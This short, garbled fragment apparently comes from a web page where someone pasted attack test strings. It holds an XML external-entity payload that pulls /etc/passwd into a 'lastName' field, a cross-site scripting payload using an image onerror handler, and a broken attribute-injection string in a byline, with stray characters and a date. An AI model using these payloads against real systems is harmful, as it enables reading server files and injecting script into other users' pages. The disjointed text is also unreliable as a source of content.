3Fc

<!--?xml version="1.0" ?-->
<!DOCTYPE replace <!ENTITY ent SYSTEM "file:///etc/passwd"> >
<userInfo>

<firstName>John</firstName>

<lastName>&ent;</lastName>
</userInfo>

3Fc
<img src=x onerror=prompt(1)>

by '"><u><urclapped March 9, 2023